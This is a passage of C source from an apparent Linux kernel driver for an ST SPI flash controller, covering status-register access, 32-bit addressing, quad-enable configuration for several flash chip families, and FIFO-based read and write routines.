&fsm->stfsm_seq_en_32bit_addr;\n\tuint32_t cmd = enter ? SPINOR_OP_EN4B : SPINOR_OP_EX4B;\n\n\tseq->seq_opc[0] = (SEQ_OPC_PADS_1 |\n\t\t\t SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(cmd) |\n\t\t\t SEQ_OPC_CSDEASSERT);\n\n\tstfsm_load_seq(fsm, seq);\n\n\tstfsm_wait_seq(fsm);\n\n\treturn 0;\n}\n\nstatic uint8_t stfsm_wait_busy(struct stfsm *fsm)\n{\n\tstruct stfsm_seq *seq = &stfsm_seq_read_status_fifo;\n\tunsigned long deadline;\n\tuint32_t status;\n\tint timeout = 0;\n\n\t/* Use RDRS1 */\n\tseq->seq_opc[0] = (SEQ_OPC_PADS_1 |\n\t\t\t SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(SPINOR_OP_RDSR));\n\n\t/* Load read_status sequence */\n\tstfsm_load_seq(fsm, seq);\n\n\t/*\n\t * Repeat until busy bit is deasserted, or timeout, or error (S25FLxxxS)\n\t */\n\tdeadline = jiffies + FLASH_MAX_BUSY_WAIT;\n\twhile (!timeout) {\n\t\tif (time_after_eq(jiffies, deadline))\n\t\t\ttimeout = 1;\n\n\t\tstfsm_wait_seq(fsm);\n\n\t\tstfsm_read_fifo(fsm, &status, 4);\n\n\t\tif ((status & FLASH_STATUS_BUSY) == 0)\n\t\t\treturn 0;\n\n\t\tif ((fsm->configuration & CFG_S25FL_CHECK_ERROR_FLAGS) &&\n\t\t ((status & S25FL_STATUS_P_ERR) ||\n\t\t (status & S25FL_STATUS_E_ERR)))\n\t\t\treturn (uint8_t)(status & 0xff);\n\n\t\tif (!timeout)\n\t\t\t/* Restart */\n\t\t\twritel(seq->seq_cfg, fsm->base + SPI_FAST_SEQ_CFG);\n\n\t\tcond_resched();\n\t}\n\n\tdev_err(fsm->dev, \"timeout on wait_busy\\n\");\n\n\treturn FLASH_STATUS_TIMEOUT;\n}\n\nstatic int stfsm_read_status(struct stfsm *fsm, uint8_t cmd,\n\t\t\t uint8_t *data, int bytes)\n{\n\tstruct stfsm_seq *seq = &stfsm_seq_read_status_fifo;\n\tuint32_t tmp;\n\tuint8_t *t = (uint8_t *)&tmp;\n\tint i;\n\n\tdev_dbg(fsm->dev, \"read 'status' register [0x%02x], %d byte(s)\\n\",\n\t\tcmd, bytes);\n\n\tBUG_ON(bytes != 1 && bytes != 2);\n\n\tseq->seq_opc[0] = (SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(cmd)),\n\n\tstfsm_load_seq(fsm, seq);\n\n\tstfsm_read_fifo(fsm, &tmp, 4);\n\n\tfor (i = 0; i < bytes; i++)\n\t\tdata[i] = t[i];\n\n\tstfsm_wait_seq(fsm);\n\n\treturn 0;\n}\n\nstatic int stfsm_write_status(struct stfsm *fsm, uint8_t cmd,\n\t\t\t uint16_t data, int bytes, int wait_busy)\n{\n\tstruct stfsm_seq *seq = &stfsm_seq_write_status;\n\n\tdev_dbg(fsm->dev,\n\t\t\"write 'status' register [0x%02x], %d byte(s), 0x%04x\\n\"\n\t\t\" %s wait-busy\\n\", cmd, bytes, data, wait_busy ? \"with\" : \"no\");\n\n\tBUG_ON(bytes != 1 && bytes != 2);\n\n\tseq->seq_opc[1] = (SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(cmd));\n\n\tseq->status = (uint32_t)data | STA_PADS_1 | STA_CSDEASSERT;\n\tseq->seq[2] = (bytes == 1) ? STFSM_INST_STA_WR1 : STFSM_INST_STA_WR1_2;\n\n\tstfsm_load_seq(fsm, seq);\n\n\tstfsm_wait_seq(fsm);\n\n\tif (wait_busy)\n\t\tstfsm_wait_busy(fsm);\n\n\treturn 0;\n}\n\n/*\n * SoC reset on 'boot-from-spi' systems\n *\n * Certain modes of operation cause the Flash device to enter a particular state\n * for a period of time (e.g. 'Erase Sector', 'Quad Enable', and 'Enter 32-bit\n * Addr' commands). On boot-from-spi systems, it is important to consider what\n * happens if a warm reset occurs during this period. The SPIBoot controller\n * assumes that Flash device is in its default reset state, 24-bit address mode,\n * and ready to accept commands. This can be achieved using some form of\n * on-board logic/controller to force a device POR in response to a SoC-level\n * reset or by making use of the device reset signal if available (limited\n * number of devices only).\n *\n * Failure to take such precautions can cause problems following a warm reset.\n * For some operations (e.g. ERASE), there is little that can be done. For\n * other modes of operation (e.g. 32-bit addressing), options are often\n * available that can help minimise the window in which a reset could cause a\n * problem.\n *\n */\nstatic bool stfsm_can_handle_soc_reset(struct stfsm *fsm)\n{\n\t/* Reset signal is available on the board and supported by the device */\n\tif (fsm->reset_signal && fsm->info->flags & FLASH_FLAG_RESET)\n\t\treturn true;\n\n\t/* Board-level logic forces a power-on-reset */\n\tif (fsm->reset_por)\n\t\treturn true;\n\n\t/* Reset is not properly handled and may result in failure to reboot */\n\treturn false;\n}\n\n/* Configure 'addr_cfg' according to addressing mode */\nstatic void stfsm_prepare_erasesec_seq(struct stfsm *fsm,\n\t\t\t\t struct stfsm_seq *seq)\n{\n\tint addr1_cycles = fsm->info->flags & FLASH_FLAG_32BIT_ADDR ? 16 : 8;\n\n\tseq->addr_cfg = (ADR_CFG_CYCLES_ADD1(addr1_cycles) |\n\t\t\t ADR_CFG_PADS_1_ADD1 |\n\t\t\t ADR_CFG_CYCLES_ADD2(16) |\n\t\t\t ADR_CFG_PADS_1_ADD2 |\n\t\t\t ADR_CFG_CSDEASSERT_ADD2);\n}\n\n/* Search for preferred configuration based on available flags */\nstatic struct seq_rw_config *\nstfsm_search_seq_rw_configs(struct stfsm *fsm,\n\t\t\t struct seq_rw_config cfgs[])\n{\n\tstruct seq_rw_config *config;\n\tint flags = fsm->info->flags;\n\n\tfor (config = cfgs; config->cmd != 0; config++)\n\t\tif ((config->flags & flags) == config->flags)\n\t\t\treturn config;\n\n\treturn NULL;\n}\n\n/* Prepare a READ/WRITE sequence according to configuration parameters */\nstatic void stfsm_prepare_rw_seq(struct stfsm *fsm,\n\t\t\t\t struct stfsm_seq *seq,\n\t\t\t\t struct seq_rw_config *cfg)\n{\n\tint addr1_cycles, addr2_cycles;\n\tint i = 0;\n\n\tmemset(seq, 0, sizeof(*seq));\n\n\t/* Add READ/WRITE OPC */\n\tseq->seq_opc[i++] = (SEQ_OPC_PADS_1 |\n\t\t\t SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(cfg->cmd));\n\n\t/* Add WREN OPC for a WRITE sequence */\n\tif (cfg->write)\n\t\tseq->seq_opc[i++] = (SEQ_OPC_PADS_1 |\n\t\t\t\t SEQ_OPC_CYCLES(8) |\n\t\t\t\t SEQ_OPC_OPCODE(SPINOR_OP_WREN) |\n\t\t\t\t SEQ_OPC_CSDEASSERT);\n\n\t/* Address configuration (24 or 32-bit addresses) */\n\taddr1_cycles = (fsm->info->flags & FLASH_FLAG_32BIT_ADDR) ? 16 : 8;\n\taddr1_cycles /= cfg->addr_pads;\n\taddr2_cycles = 16 / cfg->addr_pads;\n\tseq->addr_cfg = ((addr1_cycles & 0x3f) << 0 |\t/* ADD1 cycles */\n\t\t\t (cfg->addr_pads - 1) << 6 |\t/* ADD1 pads */\n\t\t\t (addr2_cycles & 0x3f) << 16 |\t/* ADD2 cycles */\n\t\t\t ((cfg->addr_pads - 1) << 22));\t/* ADD2 pads */\n\n\t/* Data/Sequence configuration */\n\tseq->seq_cfg = ((cfg->data_pads - 1) << 16 |\n\t\t\tSEQ_CFG_STARTSEQ |\n\t\t\tSEQ_CFG_CSDEASSERT);\n\tif (!cfg->write)\n\t\tseq->seq_cfg |= SEQ_CFG_READNOTWRITE;\n\n\t/* Mode configuration (no. of pads taken from addr cfg) */\n\tseq->mode = ((cfg->mode_data & 0xff) << 0 |\t/* data */\n\t\t (cfg->mode_cycles & 0x3f) << 16 |\t/* cycles */\n\t\t (cfg->addr_pads - 1) << 22);\t/* pads */\n\n\t/* Dummy configuration (no. of pads taken from addr cfg) */\n\tseq->dummy = ((cfg->dummy_cycles & 0x3f) << 16 |\t/* cycles */\n\t\t (cfg->addr_pads - 1) << 22);\t\t/* pads */\n\n\n\t/* Instruction sequence */\n\ti = 0;\n\tif (cfg->write)\n\t\tseq->seq[i++] = STFSM_INST_CMD2;\n\n\tseq->seq[i++] = STFSM_INST_CMD1;\n\n\tseq->seq[i++] = STFSM_INST_ADD1;\n\tseq->seq[i++] = STFSM_INST_ADD2;\n\n\tif (cfg->mode_cycles)\n\t\tseq->seq[i++] = STFSM_INST_MODE;\n\n\tif (cfg->dummy_cycles)\n\t\tseq->seq[i++] = STFSM_INST_DUMMY;\n\n\tseq->seq[i++] =\n\t\tcfg->write ? STFSM_INST_DATA_WRITE : STFSM_INST_DATA_READ;\n\tseq->seq[i++] = STFSM_INST_STOP;\n}\n\nstatic int stfsm_search_prepare_rw_seq(struct stfsm *fsm,\n\t\t\t\t struct stfsm_seq *seq,\n\t\t\t\t struct seq_rw_config *cfgs)\n{\n\tstruct seq_rw_config *config;\n\n\tconfig = stfsm_search_seq_rw_configs(fsm, cfgs);\n\tif (!config) {\n\t\tdev_err(fsm->dev, \"failed to find suitable config\\n\");\n\t\treturn -EINVAL;\n\t}\n\n\tstfsm_prepare_rw_seq(fsm, seq, config);\n\n\treturn 0;\n}\n\n/* Prepare a READ/WRITE/ERASE 'default' sequences */\nstatic int stfsm_prepare_rwe_seqs_default(struct stfsm *fsm)\n{\n\tuint32_t flags = fsm->info->flags;\n\tint ret;\n\n\t/* Configure 'READ' sequence */\n\tret = stfsm_search_prepare_rw_seq(fsm, &fsm->stfsm_seq_read,\n\t\t\t\t\t default_read_configs);\n\tif (ret) {\n\t\tdev_err(fsm->dev,\n\t\t\t\"failed to prep READ sequence with flags [0x%08x]\\n\",\n\t\t\tflags);\n\t\treturn ret;\n\t}\n\n\t/* Configure 'WRITE' sequence */\n\tret = stfsm_search_prepare_rw_seq(fsm, &fsm->stfsm_seq_write,\n\t\t\t\t\t default_write_configs);\n\tif (ret) {\n\t\tdev_err(fsm->dev,\n\t\t\t\"failed to prep WRITE sequence with flags [0x%08x]\\n\",\n\t\t\tflags);\n\t\treturn ret;\n\t}\n\n\t/* Configure 'ERASE_SECTOR' sequence */\n\tstfsm_prepare_erasesec_seq(fsm, &stfsm_seq_erase_sector);\n\n\treturn 0;\n}\n\nstatic int stfsm_mx25_config(struct stfsm *fsm)\n{\n\tuint32_t flags = fsm->info->flags;\n\tuint32_t data_pads;\n\tuint8_t sta;\n\tint ret;\n\tbool soc_reset;\n\n\t/*\n\t * Use default READ/WRITE sequences\n\t */\n\tret = stfsm_prepare_rwe_seqs_default(fsm);\n\tif (ret)\n\t\treturn ret;\n\n\t/*\n\t * Configure 32-bit Address Support\n\t */\n\tif (flags & FLASH_FLAG_32BIT_ADDR) {\n\t\t/* Configure 'enter_32bitaddr' FSM sequence */\n\t\tstfsm_mx25_en_32bit_addr_seq(&fsm->stfsm_seq_en_32bit_addr);\n\n\t\tsoc_reset = stfsm_can_handle_soc_reset(fsm);\n\t\tif (soc_reset || !fsm->booted_from_spi)\n\t\t\t/* If we can handle SoC resets, we enable 32-bit address\n\t\t\t * mode pervasively */\n\t\t\tstfsm_enter_32bit_addr(fsm, 1);\n\n\t\telse\n\t\t\t/* Else, enable/disable 32-bit addressing before/after\n\t\t\t * each operation */\n\t\t\tfsm->configuration = (CFG_READ_TOGGLE_32BIT_ADDR |\n\t\t\t\t\t CFG_WRITE_TOGGLE_32BIT_ADDR |\n\t\t\t\t\t CFG_ERASESEC_TOGGLE_32BIT_ADDR);\n\t}\n\n\t/* Check status of 'QE' bit, update if required. */\n\tstfsm_read_status(fsm, SPINOR_OP_RDSR, &sta, 1);\n\tdata_pads = ((fsm->stfsm_seq_read.seq_cfg >> 16) & 0x3) + 1;\n\tif (data_pads == 4) {\n\t\tif (!(sta & MX25_STATUS_QE)) {\n\t\t\t/* Set 'QE' */\n\t\t\tsta |= MX25_STATUS_QE;\n\n\t\t\tstfsm_write_status(fsm, SPINOR_OP_WRSR, sta, 1, 1);\n\t\t}\n\t} else {\n\t\tif (sta & MX25_STATUS_QE) {\n\t\t\t/* Clear 'QE' */\n\t\t\tsta &= ~MX25_STATUS_QE;\n\n\t\t\tstfsm_write_status(fsm, SPINOR_OP_WRSR, sta, 1, 1);\n\t\t}\n\t}\n\n\treturn 0;\n}\n\nstatic int stfsm_n25q_config(struct stfsm *fsm)\n{\n\tuint32_t flags = fsm->info->flags;\n\tuint8_t vcr;\n\tint ret = 0;\n\tbool soc_reset;\n\n\t/* Configure 'READ' sequence */\n\tif (flags & FLASH_FLAG_32BIT_ADDR)\n\t\tret = stfsm_search_prepare_rw_seq(fsm, &fsm->stfsm_seq_read,\n\t\t\t\t\t\t n25q_read4_configs);\n\telse\n\t\tret = stfsm_search_prepare_rw_seq(fsm, &fsm->stfsm_seq_read,\n\t\t\t\t\t\t n25q_read3_configs);\n\tif (ret) {\n\t\tdev_err(fsm->dev,\n\t\t\t\"failed to prepare READ sequence with flags [0x%08x]\\n\",\n\t\t\tflags);\n\t\treturn ret;\n\t}\n\n\t/* Configure 'WRITE' sequence (default configs) */\n\tret = stfsm_search_prepare_rw_seq(fsm, &fsm->stfsm_seq_write,\n\t\t\t\t\t default_write_configs);\n\tif (ret) {\n\t\tdev_err(fsm->dev,\n\t\t\t\"preparing WRITE sequence using flags [0x%08x] failed\\n\",\n\t\t\tflags);\n\t\treturn ret;\n\t}\n\n\t/* * Configure 'ERASE_SECTOR' sequence */\n\tstfsm_prepare_erasesec_seq(fsm, &stfsm_seq_erase_sector);\n\n\t/* Configure 32-bit address support */\n\tif (flags & FLASH_FLAG_32BIT_ADDR) {\n\t\tstfsm_n25q_en_32bit_addr_seq(&fsm->stfsm_seq_en_32bit_addr);\n\n\t\tsoc_reset = stfsm_can_handle_soc_reset(fsm);\n\t\tif (soc_reset || !fsm->booted_from_spi) {\n\t\t\t/*\n\t\t\t * If we can handle SoC resets, we enable 32-bit\n\t\t\t * address mode pervasively\n\t\t\t */\n\t\t\tstfsm_enter_32bit_addr(fsm, 1);\n\t\t} else {\n\t\t\t/*\n\t\t\t * If not, enable/disable for WRITE and ERASE\n\t\t\t * operations (READ uses special commands)\n\t\t\t */\n\t\t\tfsm->configuration = (CFG_WRITE_TOGGLE_32BIT_ADDR |\n\t\t\t\t\t CFG_ERASESEC_TOGGLE_32BIT_ADDR);\n\t\t}\n\t}\n\n\t/*\n\t * Configure device to use 8 dummy cycles\n\t */\n\tvcr = (N25Q_VCR_DUMMY_CYCLES(8) | N25Q_VCR_XIP_DISABLED |\n\t N25Q_VCR_WRAP_CONT);\n\tstfsm_write_status(fsm, N25Q_CMD_WRVCR, vcr, 1, 0);\n\n\treturn 0;\n}\n\nstatic void stfsm_s25fl_prepare_erasesec_seq_32(struct stfsm_seq *seq)\n{\n\tseq->seq_opc[1] = (SEQ_OPC_PADS_1 |\n\t\t\t SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(S25FL_CMD_SE4));\n\n\tseq->addr_cfg = (ADR_CFG_CYCLES_ADD1(16) |\n\t\t\t ADR_CFG_PADS_1_ADD1 |\n\t\t\t ADR_CFG_CYCLES_ADD2(16) |\n\t\t\t ADR_CFG_PADS_1_ADD2 |\n\t\t\t ADR_CFG_CSDEASSERT_ADD2);\n}\n\nstatic void stfsm_s25fl_read_dyb(struct stfsm *fsm, uint32_t offs, uint8_t *dby)\n{\n\tuint32_t tmp;\n\tstruct stfsm_seq seq = {\n\t\t.data_size = TRANSFER_SIZE(4),\n\t\t.seq_opc[0] = (SEQ_OPC_PADS_1 |\n\t\t\t SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(S25FL_CMD_DYBRD)),\n\t\t.addr_cfg = (ADR_CFG_CYCLES_ADD1(16) |\n\t\t\t ADR_CFG_PADS_1_ADD1 |\n\t\t\t ADR_CFG_CYCLES_ADD2(16) |\n\t\t\t ADR_CFG_PADS_1_ADD2),\n\t\t.addr1 = (offs >> 16) & 0xffff,\n\t\t.addr2 = offs & 0xffff,\n\t\t.seq = {\n\t\t\tSTFSM_INST_CMD1,\n\t\t\tSTFSM_INST_ADD1,\n\t\t\tSTFSM_INST_ADD2,\n\t\t\tSTFSM_INST_DATA_READ,\n\t\t\tSTFSM_INST_STOP,\n\t\t},\n\t\t.seq_cfg = (SEQ_CFG_PADS_1 |\n\t\t\t SEQ_CFG_READNOTWRITE |\n\t\t\t SEQ_CFG_CSDEASSERT |\n\t\t\t SEQ_CFG_STARTSEQ),\n\t};\n\n\tstfsm_load_seq(fsm, &seq);\n\n\tstfsm_read_fifo(fsm, &tmp, 4);\n\n\t*dby = (uint8_t)(tmp >> 24);\n\n\tstfsm_wait_seq(fsm);\n}\n\nstatic void stfsm_s25fl_write_dyb(struct stfsm *fsm, uint32_t offs, uint8_t dby)\n{\n\tstruct stfsm_seq seq = {\n\t\t.seq_opc[0] = (SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(SPINOR_OP_WREN) |\n\t\t\t SEQ_OPC_CSDEASSERT),\n\t\t.seq_opc[1] = (SEQ_OPC_PADS_1 | SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(S25FL_CMD_DYBWR)),\n\t\t.addr_cfg = (ADR_CFG_CYCLES_ADD1(16) |\n\t\t\t ADR_CFG_PADS_1_ADD1 |\n\t\t\t ADR_CFG_CYCLES_ADD2(16) |\n\t\t\t ADR_CFG_PADS_1_ADD2),\n\t\t.status = (uint32_t)dby | STA_PADS_1 | STA_CSDEASSERT,\n\t\t.addr1 = (offs >> 16) & 0xffff,\n\t\t.addr2 = offs & 0xffff,\n\t\t.seq = {\n\t\t\tSTFSM_INST_CMD1,\n\t\t\tSTFSM_INST_CMD2,\n\t\t\tSTFSM_INST_ADD1,\n\t\t\tSTFSM_INST_ADD2,\n\t\t\tSTFSM_INST_STA_WR1,\n\t\t\tSTFSM_INST_STOP,\n\t\t},\n\t\t.seq_cfg = (SEQ_CFG_PADS_1 |\n\t\t\t SEQ_CFG_READNOTWRITE |\n\t\t\t SEQ_CFG_CSDEASSERT |\n\t\t\t SEQ_CFG_STARTSEQ),\n\t};\n\n\tstfsm_load_seq(fsm, &seq);\n\tstfsm_wait_seq(fsm);\n\n\tstfsm_wait_busy(fsm);\n}\n\nstatic int stfsm_s25fl_clear_status_reg(struct stfsm *fsm)\n{\n\tstruct stfsm_seq seq = {\n\t\t.seq_opc[0] = (SEQ_OPC_PADS_1 |\n\t\t\t SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(S25FL_CMD_CLSR) |\n\t\t\t SEQ_OPC_CSDEASSERT),\n\t\t.seq_opc[1] = (SEQ_OPC_PADS_1 |\n\t\t\t SEQ_OPC_CYCLES(8) |\n\t\t\t SEQ_OPC_OPCODE(SPINOR_OP_WRDI) |\n\t\t\t SEQ_OPC_CSDEASSERT),\n\t\t.seq = {\n\t\t\tSTFSM_INST_CMD1,\n\t\t\tSTFSM_INST_CMD2,\n\t\t\tSTFSM_INST_WAIT,\n\t\t\tSTFSM_INST_STOP,\n\t\t},\n\t\t.seq_cfg = (SEQ_CFG_PADS_1 |\n\t\t\t SEQ_CFG_ERASE |\n\t\t\t SEQ_CFG_READNOTWRITE |\n\t\t\t SEQ_CFG_CSDEASSERT |\n\t\t\t SEQ_CFG_STARTSEQ),\n\t};\n\n\tstfsm_load_seq(fsm, &seq);\n\n\tstfsm_wait_seq(fsm);\n\n\treturn 0;\n}\n\nstatic int stfsm_s25fl_config(struct stfsm *fsm)\n{\n\tstruct flash_info *info = fsm->info;\n\tuint32_t flags = info->flags;\n\tuint32_t data_pads;\n\tuint32_t offs;\n\tuint16_t sta_wr;\n\tuint8_t sr1, cr1, dyb;\n\tint update_sr = 0;\n\tint ret;\n\n\tif (flags & FLASH_FLAG_32BIT_ADDR) {\n\t\t/*\n\t\t * Prepare Read/Write/Erase sequences according to S25FLxxx\n\t\t * 32-bit address command set\n\t\t */\n\t\tret = stfsm_search_prepare_rw_seq(fsm, &fsm->stfsm_seq_read,\n\t\t\t\t\t\t stfsm_s25fl_read4_configs);\n\t\tif (ret)\n\t\t\treturn ret;\n\n\t\tret = stfsm_search_prepare_rw_seq(fsm, &fsm->stfsm_seq_write,\n\t\t\t\t\t\t stfsm_s25fl_write4_configs);\n\t\tif (ret)\n\t\t\treturn ret;\n\n\t\tstfsm_s25fl_prepare_erasesec_seq_32(&stfsm_seq_erase_sector);\n\n\t} else {\n\t\t/* Use default configurations for 24-bit addressing */\n\t\tret = stfsm_prepare_rwe_seqs_default(fsm);\n\t\tif (ret)\n\t\t\treturn ret;\n\t}\n\n\t/*\n\t * For devices that support 'DYB' sector locking, check lock status and\n\t * unlock sectors if necessary (some variants power-on with sectors\n\t * locked by default)\n\t */\n\tif (flags & FLASH_FLAG_DYB_LOCKING) {\n\t\toffs = 0;\n\t\tfor (offs = 0; offs < info->sector_size * info->n_sectors;) {\n\t\t\tstfsm_s25fl_read_dyb(fsm, offs, &dyb);\n\t\t\tif (dyb == 0x00)\n\t\t\t\tstfsm_s25fl_write_dyb(fsm, offs, 0xff);\n\n\t\t\t/* Handle bottom/top 4KiB parameter sectors */\n\t\t\tif ((offs < info->sector_size * 2) ||\n\t\t\t (offs >= (info->sector_size - info->n_sectors * 4)))\n\t\t\t\toffs += 0x1000;\n\t\t\telse\n\t\t\t\toffs += 0x10000;\n\t\t}\n\t}\n\n\t/* Check status of 'QE' bit, update if required. */\n\tstfsm_read_status(fsm, SPINOR_OP_RDSR2, &cr1, 1);\n\tdata_pads = ((fsm->stfsm_seq_read.seq_cfg >> 16) & 0x3) + 1;\n\tif (data_pads == 4) {\n\t\tif (!(cr1 & STFSM_S25FL_CONFIG_QE)) {\n\t\t\t/* Set 'QE' */\n\t\t\tcr1 |= STFSM_S25FL_CONFIG_QE;\n\n\t\t\tupdate_sr = 1;\n\t\t}\n\t} else {\n\t\tif (cr1 & STFSM_S25FL_CONFIG_QE) {\n\t\t\t/* Clear 'QE' */\n\t\t\tcr1 &= ~STFSM_S25FL_CONFIG_QE;\n\n\t\t\tupdate_sr = 1;\n\t\t}\n\t}\n\tif (update_sr) {\n\t\tstfsm_read_status(fsm, SPINOR_OP_RDSR, &sr1, 1);\n\t\tsta_wr = ((uint16_t)cr1 << 8) | sr1;\n\t\tstfsm_write_status(fsm, SPINOR_OP_WRSR, sta_wr, 2, 1);\n\t}\n\n\t/*\n\t * S25FLxxx devices support Program and Error error flags.\n\t * Configure driver to check flags and clear if necessary.\n\t */\n\tfsm->configuration |= CFG_S25FL_CHECK_ERROR_FLAGS;\n\n\treturn 0;\n}\n\nstatic int stfsm_w25q_config(struct stfsm *fsm)\n{\n\tuint32_t data_pads;\n\tuint8_t sr1, sr2;\n\tuint16_t sr_wr;\n\tint update_sr = 0;\n\tint ret;\n\n\tret = stfsm_prepare_rwe_seqs_default(fsm);\n\tif (ret)\n\t\treturn ret;\n\n\t/* Check status of 'QE' bit, update if required. */\n\tstfsm_read_status(fsm, SPINOR_OP_RDSR2, &sr2, 1);\n\tdata_pads = ((fsm->stfsm_seq_read.seq_cfg >> 16) & 0x3) + 1;\n\tif (data_pads == 4) {\n\t\tif (!(sr2 & W25Q_STATUS_QE)) {\n\t\t\t/* Set 'QE' */\n\t\t\tsr2 |= W25Q_STATUS_QE;\n\t\t\tupdate_sr = 1;\n\t\t}\n\t} else {\n\t\tif (sr2 & W25Q_STATUS_QE) {\n\t\t\t/* Clear 'QE' */\n\t\t\tsr2 &= ~W25Q_STATUS_QE;\n\t\t\tupdate_sr = 1;\n\t\t}\n\t}\n\tif (update_sr) {\n\t\t/* Write status register */\n\t\tstfsm_read_status(fsm, SPINOR_OP_RDSR, &sr1, 1);\n\t\tsr_wr = ((uint16_t)sr2 << 8) | sr1;\n\t\tstfsm_write_status(fsm, SPINOR_OP_WRSR, sr_wr, 2, 1);\n\t}\n\n\treturn 0;\n}\n\nstatic int stfsm_read(struct stfsm *fsm, uint8_t *buf, uint32_t size,\n\t\t uint32_t offset)\n{\n\tstruct stfsm_seq *seq = &fsm->stfsm_seq_read;\n\tuint32_t data_pads;\n\tuint32_t read_mask;\n\tuint32_t size_ub;\n\tuint32_t size_lb;\n\tuint32_t size_mop;\n\tuint32_t tmp[4];\n\tuint32_t page_buf[FLASH_PAGESIZE_32];\n\tuint8_t *p;\n\n\tdev_dbg(fsm->dev, \"reading %d bytes from 0x%08x\\n\", size, offset);\n\n\t/* Enter 32-bit address mode, if required */\n\tif (fsm->configuration & CFG_READ_TOGGLE_32BIT_ADDR)\n\t\tstfsm_enter_32bit_addr(fsm, 1);\n\n\t/* Must read in multiples of 32 cycles (or 32*pads/8 Bytes) */\n\tdata_pads = ((seq->seq_cfg >> 16) & 0x3) + 1;\n\tread_mask = (data_pads << 2) - 1;\n\n\t/* Handle non-aligned buf */\n\tp = ((uintptr_t)buf & 0x3) ? (uint8_t *)page_buf : buf;\n\n\t/* Handle non-aligned size */\n\tsize_ub = (size + read_mask) & ~read_mask;\n\tsize_lb = size & ~read_mask;\n\tsize_mop = size & read_mask;\n\n\tseq->data_size = TRANSFER_SIZE(size_ub);\n\tseq->addr1 = (offset >> 16) & 0xffff;\n\tseq->addr2 = offset & 0xffff;\n\n\tstfsm_load_seq(fsm, seq);\n\n\tif (size_lb)\n\t\tstfsm_read_fifo(fsm, (uint32_t *)p, size_lb);\n\n\tif (size_mop) {\n\t\tstfsm_read_fifo(fsm, tmp, read_mask + 1);\n\t\tmemcpy(p + size_lb, &tmp, size_mop);\n\t}\n\n\t/* Handle non-aligned buf */\n\tif ((uintptr_t)buf & 0x3)\n\t\tmemcpy(buf, page_buf, size);\n\n\t/* Wait for sequence to finish */\n\tstfsm_wait_seq(fsm);\n\n\tstfsm_clear_fifo(fsm);\n\n\t/* Exit 32-bit address mode, if required */\n\tif (fsm->configuration & CFG_READ_TOGGLE_32BIT_ADDR)\n\t\tstfsm_enter_32bit_addr(fsm, 0);\n\n\treturn 0;\n}\n\nstatic int stfsm_write(struct stfsm *fsm, const uint8_t *buf,\n\t\t uint32_t size, uint32_t offset)\n{\n\tstruct stfsm_seq *seq = &fsm->stfsm_seq_write;\n\tuint32_t data_pads;\n\tuint32_t write_mask;\n\tuint32_t size_ub;\n\tuint32_t size_lb;\n\tuint32_t size_mop;\n\tuint32_t tmp[4];\n\tuint32_t i;\n\tuint32_t page_buf[FLASH_PAGESIZE_32];\n\tuint8_t *t = (uint8_t *)&tmp;\n\tconst uint8_t *p;\n\tint ret;\n\n\tdev_dbg(fsm->dev, \"writing %d bytes to 0x%08x\\n\", size, offset);\n\n\t/* Enter 32-bit address mode, if required */\n\tif (fsm->configuration & CFG_WRITE_TOGGLE_32BIT_ADDR)\n\t\tstfsm_enter_32bit_addr(fsm, 1);\n\n\t/* Must write in multiples of 32 cycles (or 32*pads/8 bytes) */\n\tdata_pads = ((seq->seq_cfg >> 16) & 0x3) + 1;\n\twrite_mask = (data_pads << 2) - 1;\n\n\t/* Handle non-aligned buf */\n\tif ((uintptr_t)buf & 0x3) {\n\t\tmemcpy(page_buf, buf, size);\n\t\tp = (uint8_t *)page_buf;\n\t} else {\n\t\tp = buf;\n\t}\n\n\t/* Handle non-aligned size */\n\tsize_ub = (size + write_mask) & ~write_mask;\n\tsize_lb = size & ~write_mask;\n\tsize_mop = size & write_mask;\n\n\tseq->data_size = TRANSFER_SIZE(size_ub);\n\tseq->addr1 = (offset >> 16) & 0xffff;\n\tseq->addr2 = offset & 0xffff;\n\n\t/* Need to set FIFO to write mode, before writing data to FIFO (see\n\t * GNBvb79594)\n\t */\n\twritel(0x00040000, fsm->base + SPI_FAST_SEQ_CFG);\n\n\t/*\n\t * Before writing data to the FIFO, apply a small delay to allow a\n\t * potential change of FIFO direction to complete.\n\t */\n\tif (fsm->fifo_dir_delay == 0)\n\t\treadl(fsm->base + SPI_FAST_SEQ_CFG);\n\telse\n\t\tudelay(fsm->fifo_dir_delay);\n\n\n\t/* Write data to FIFO, before starting sequence (see GNBvd79593) */\n\tif (size_lb) {\n\t\tstfsm_write_fifo(fsm, (uint32_t *)p, size_lb);\n\t\tp += size_lb;\n\t}\n\n\t/* Handle non-aligned size */\n\tif (size_mop) {\n\t\tmemset(t, 0xff, write_mask + 1);\t/* fill with 0xff's */\n\t\tfor (i = 0; i < size_mop; i++)\n\t\t\tt[i] = *p++;\n\n\t\tstfsm_write_fifo(fsm, tmp, write_mask + 1);\n\t}\n\n\t/* Start sequence */\n\tstfsm_load_seq(fsm, seq);\n\n\t/* Wait for sequence to finish */\n\tstfsm_wait_seq(fsm);\n\n\t/* Wait for completion */\n\tret = stfsm_wait_busy(fsm);\n\tif (ret && fsm->configuration & CFG_S25FL_CHECK_ERROR_FLAGS)\n\t\tstfsm_s25fl_clear_status_reg(fsm);\n\n\t/* Exit 32-bit address mode, if required */\n\tif (fsm->configuration & CFG_WRITE_TOGGLE_32BIT_ADDR)\n\t\tstfsm_enter_32bit_addr(fsm, 0);\n\n\treturn 0;\n}\n\n/*\n * Read an address range from the flash chip. The address range\n * may be any size provided it is within the physical boundaries.\n */\nstatic int stfsm_mtd_read(struct mtd_info *mtd, loff_t from, size_t len,\n\t\t\t size_t *retlen, u_char *buf)\n{\n\tstruct stfsm *fsm = dev_get_drvdata(mtd->dev.parent);\n\tuint32_t bytes;\n\n\tdev_dbg(fsm->dev, \"%s from 0x%08x, len %zd\\n\",\n\t\t__func__, (u32)from, 